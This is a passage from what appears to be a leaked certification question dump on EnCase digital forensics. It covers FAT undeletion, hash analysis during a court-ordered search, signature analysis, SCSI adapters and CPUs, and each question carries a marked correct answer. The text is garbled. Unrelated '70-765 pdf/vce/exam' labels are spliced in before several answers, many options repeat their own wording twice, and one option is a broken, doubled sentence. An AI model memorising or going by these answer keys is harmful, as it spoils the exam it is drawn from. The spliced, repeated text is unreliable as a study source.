B. Renamed to JPG_0001.jpg and copied to the default export folder.
C. Copied to the EnCase specified temp folder and opened by an associated program.
D. Opened by EnCase.
70-765 pdf Correct Answer: C
Explanation
QUESTION 78
When undeleting a file in the FAT file system, EnCase will check the _____________ to see if it has already been overwritten.
A. data on the hard drive
B. deletion table
C. directory entry
D. FAT
Correct Answer: D
Explanation
QUESTION 79
You are assigned to assist with the search and seizure of several computers. The magistrate ordered that the computers cannot be seized unless they are found to contain any one of ten previously identified images. You currently have the ten images in JPG format. Using the EnCase methodology, how would you best handle this situation?
A. UseFastBloc or a network/parallel port cable to preview the hard drives. Go to the Gallery view and search for the previously identified images.
B. UseFastBloc or a network/parallel port cable to acquire forensic images of the hard drives, then search the evidence files for the previously identified images.
C. UseFastBloc or a network/parallel port cable to preview the hard drives. Conduct a hash analysis of the files on the hard drives, using a hash library containing the hash values of the previously identified images.
D. Use an EnCase DOS boot disk to conduct a text search for child porn. Use an EnCase DOS boot disk to conduct a text search for child porn?
70-765 vce Correct Answer: C
Explanation
QUESTION 80
The EnCase signature analysis is used to perform which of the following actions?
A. Analyzing the relationship of a file signature to its file extension.Analyzing the relationship of a file signature to its file extension.
B. Analyzing the relationship of a file signature to its file header.Analyzing the relationship of a file signature to its file header.
C. Analyzing the relationship of a file signature to a list of hash sets.Analyzing the relationship of a file signature to a list of hash sets.
D. Analyzing the relationship of a file signature to its computed MD5 hash value.Analyzing the relationship of a file signature to its computed MD5 hash value.
Correct Answer: A
Explanation
QUESTION 81
A SCSI host adapter would most likely perform which of the following tasks?
A. Configure the motherboard settings to the BIOS.
B. None of the above.
C. Set up the connection of IDE hard drives.
D. Make SCSI hard drives and other SCSI devices accessible to the operating system.
70-765 exam Correct Answer: D
Explanation
QUESTION 82
A CPU is:
A. A chip that would be considered the brain of a computer, which is installed on a motherboard.
B. A Central Programming Unit.
C. A motherboard with all required devices connected.
D. An entire computer box, not including the monitor and other attached peripheral devices.
Correct Answer: A
Explanation

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